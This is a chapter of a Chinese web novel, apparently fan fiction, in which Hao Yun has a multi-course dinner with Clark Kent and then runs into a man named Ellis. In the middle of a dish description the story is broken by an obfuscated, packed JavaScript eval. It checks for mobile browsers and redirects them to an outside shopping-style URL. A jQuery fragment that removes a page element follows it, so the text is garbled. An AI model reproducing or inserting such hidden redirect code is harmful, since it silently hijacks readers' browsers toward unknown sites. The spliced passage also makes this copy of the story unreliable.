怕什么来什么,正值下班高峰期,去餐厅的路上不出意外的堵了。眼见时间一分一秒过去,郝运不由得频频看手机。
阿福察觉到郝运的焦急,安慰道:“郝先生放心,这是一条最快的路,应该不会影响您见朋友。”
郝运不好意思地笑笑,他只是觉得身上那点好运恐怕在韦恩庄园已经消耗殆尽,担忧衰神重新附体。
“看您的样子,一定是很重要的朋友吧?”
“嗯嗯,想要一辈子交往的那种。”郝运露出无限期待的神色。
“能让郝先生这么看重,一定是个很好的人。”
“那是,世界上再也没有更好的人了。”某个见异思迁的家伙,显然已经忘记这话曾经对别人说过。如果两位当事人同时质问,他一定不会承认自己的话有问题,因为一个是地球人,一个是外星人,在各自的世界他们都是最好的。
“郝先生现在的样子,让我想起老爷年轻的时候。”阿福满是怀念地说。
“怎么说?”郝运眼里闪烁出八卦的光。
“那天也是我开车送老爷赴约,那时的夫人还不是夫人,只是答应老爷一起吃顿饭。我第一次见老爷那么紧张,又那么期待。”
“……”一个是爱情,一个是友情,情况不一样吧?不过他没点明性别,被阿福误会也正常。“哈哈,我可不是去见心仪对象。”
阿福意味深长道:“帕斯卡说过,心有其理,理性不知。”
郝运来不及回味话中的意思,车子一个转弯,Chef''s Call的红色招牌已映入眼帘。这是一家很有态度的中餐馆,店里没有菜单,厨房有什么,食客吃什么。老板就是厨师,老板娘负责接客算账,还有一两个兼职工,负责上菜洗碗的杂活。郝运挑了三家餐馆,克拉克最终选了这家,明显是在照顾郝运的口味。
三家餐馆里只有这家最难订位。因为菜单都要厨师说了算,且每日只招待二十桌,如果中午客满,老板晚上就直接关门不营业。有被这种霸道酷飒个性吸引的食客,也有想享受未知惊喜的食客,当然更多的还是被味道征服的老客。所以很多时候都要提前半个月找老板娘预定。
郝运占了个便宜,上大学兼职时在这家店干过两天。老板夫妻俩都是华裔,挺同情这个小倒霉蛋老乡,说只要他来餐馆吃饭随时有位置。郝运知道这是为了把他打发走的交换,一直到今天才行使这份早已许诺的权利。
“时间刚刚好。”车子正对门口稳稳停下,阿福跟着送上祝福:“祝您度过一个愉快的夜晚。”
“谢谢。”
郝运还没踏进门,老板娘便迎出来:“郝运来了。你一直不来,我和老周还以为你忘了我们呢。”
“几年不见,秀姐还是这么年轻。”郝运递上一件小礼物。
“嘴还是这么甜。”老板娘笑颜如花地接过礼物,“刚才送你的是谁,那辆车子很不便宜哟。你别不是什么隐藏的富二代吧?”
“就我这体质,不是负二代就阿弥陀佛了。”
“老话说得好,否极泰来,有一天发达了别忘了你周哥和秀姐。”老板娘一边引着人往里走,一边悄悄说,“你朋友还没来,给你们留了最好的位置。”
“谢谢秀姐。”
郝运刚在靠窗的位置坐下来,就看见克拉克的身影出现在街对面。克拉克也看到他,笑着挥了挥手,快步穿过街道。
“等久了吗?”克拉克微喘着坐下。
为了做一个合格的地球人,真不容易。郝运心里好笑,面上不显:“只比你早到半分钟。我给你带了一块很美味的蛋糕。”说着掏出被阿福包的堪比米其林三星出品的巴斯克芝士蛋糕。
“啊,这样的蛋糕不好买吧?”克拉克雀跃的同时又觉得不好意思。除了父母,从没有人这么想着他。
“我今天去韦恩庄园采访布鲁斯·韦恩,觉得这个蛋糕很好吃,厚着脸皮打包了一块。”郝运三言两语带过白天的事。
“好厉害!你应该是第一个进入韦恩庄园的记者吧!”克拉克着实惊讶。
“机缘巧合罢了。”郝运暂时不想多谈。
眼前的人似乎总能认识一些大人物。还被一些特殊人员暗中保护。他究竟有什么秘密?
送茶水和餐前小食的老板娘打断克拉克的沉思。
“这是小店自制的五香卤花生和山楂威士忌渍樱桃。”
“秀姐,这是我的好朋友克拉克·肯特。”
“要不是肯特先生,你根本想不起来我这儿吧?”秀姐笑着抱怨完郝运,又热情地问克拉克,“肯特先生有没有忌口或者偏好的口味?”
“这里吃什么不是都由主厨决定吗?”
“郝运的朋友我们肯定要特别招待啦。”
“我都可以,请主厨安排吧。”克拉克略显局促地说。
“秀姐,你去忙吧,不用特别关照我们。”郝运说。
“那你们先用点餐前小食,有什么需要随时叫我。”
“店里的每道菜都是老板亲自做的,好些原料也都是从我老家运过来。老板很喜欢研究新菜,也很会做东西融合。除了五香卤花生,你永远不知道下一道菜是什么。”郝运剥颗花生扔进嘴里,“嗯,还是那个味儿。这个菜在我们老家可是下酒必备。”
“要不要叫点酒?”克拉克提议。
“喝什么要看今天的菜是什么,老板娘会给我们安排的。”郝运又尝了颗渍樱桃,山楂的酸裹着威士忌的微醺微苦,然后是樱桃的甜,很美妙的东西碰撞。“这个好吃,你快尝尝。”
“口感很丰富,也很新奇。”克拉克赞道。
“这只是刚开始呢。”
第一道菜是野生酸笋蒸深海鳕鱼,老板娘说是用老家的笋腌制的。鳕鱼肉质洁白,肌理分明,透出微微的半透明光泽。蒸腾的热气中,第一缕是深海鳕鱼的清冽鲜香,随之而来的是野生酸笋的复合酸香。鳕鱼入口即化,如温润的奶油在舌尖缓缓溶解,却仍保有微妙的弹韧。酸笋脆爽,咬下后酸味在齿间层层迸发,先酸,再鲜,最后回甘。二者交融,酸笋扩大了鳕鱼的甘甜,鳕鱼柔和了酸笋的霸道,形成一种独特的味觉刺激。
第二道菜是宫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283470|194615||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
保龙虾尾,新鲜打捞的龙虾取肉,切成腰果大小,裹上酸甜辣汁猛火快炒,最后撒着炸到金黄的核桃碎。西海岸的食材遇上东方的锅气,得到了克拉克的连连夸赞。这道菜的主味儿是甜,白天吃了不少甜点,郝运只是略尝了尝。
第三道菜是咖啡红烧肉,深琥珀色的琉璃光泽带着美拉德式的视觉冲击。入口肥而不腻,猪皮和瘦肉微微弹牙,先是焦糖的微甜,继而是咖啡的微苦,然后就是如潮水般漫过的醇香。两人的筷子不停,显然都很钟情这道菜。
第四道菜是芝士麻婆豆腐塔可,炸得酥脆的玉米饼?,中间夹着?川式麻婆豆腐?,上面铺着?熔化的马苏里拉芝士?和五香花生碎?。用筷子夹不起来,只能用手抓。吃到嘴里才发现不是豆腐,而是压碎的奶油奶酪。仿佛把两个世界一起吃进嘴里,辣得温柔,麻得绵长。
最后一道菜是腐乳炒空心菜,咸香爽口,非常解腻。
配餐的酒是老板自己酿的梅子酒,酸酸甜甜,非常顺口。
“秀姐,今日的菜单应该叫''人生五味''。”郝运微醺道。
“到底是做记者的人,就是有文化,不像你周哥只会闷头做菜。”
“周哥才厉害,都能把生活的滋味融进菜里。”
老板娘笑成了一朵花:“你悠着点儿,你周哥酿的酒度数可不低。”
“没关系,我会看着他。”克拉克马上说。
“要不是有你这么可靠的朋友,我可不敢让他喝这么多。”秀姐笑着说。
“秀姐,你少骗我,这酒甜甜的,怎么能喝醉人?今天开心,再给我们拿一瓶。”
“喝吧喝吧,明天有你头疼的。”
在郝运的强烈要求下,克拉克又陪着喝了一瓶。
郝运的眼神渐渐迷离,恍惚中好像看见一个人正在靠近。他摇摇头,想要看清一点,却仿佛雾里看花一般,瞧不真切。
“你好,我们是不是在哪里见过?”一个精英打扮的年轻男人走上来试探着问。
郝运努力睁大眼睛瞧着来人,金丝眼镜,看起来事业有成,脸确实有点熟,但是记忆里并没有这号人。“我不认识你。”
“冒昧地问一下,你家里有没有姐妹?”
郝运摇摇头。这人真是莫名其妙。
“抱歉,我一直在找一个姑娘,四五年前我们在这家餐馆见过两面。她跟你长得很像。你真的没有姐妹吗?”男人不死心地问。
“我都说了没有。”郝运不耐烦道。
“抱歉,他喝醉了。据我所知,他确实没有姐妹。”克拉克忙解围。
“埃利斯是你呀。”老板忙完了,正好出来撞见这一幕。
“周哥。我一直在等的姑娘,跟这位先生很像。”
老板解释道:“埃利斯上大学时在我这里做过两年兼职,现在在华尔街上班,很有前途的小伙子。兼职时在店里遇到个姑娘,一直念念不忘到现在。每周总要来店里看看能不能碰到。”
埃利斯,埃利斯。好熟悉的名字,郝运轻轻念着。糟糕,竟然是他?身上的酒瞬间醒了一半!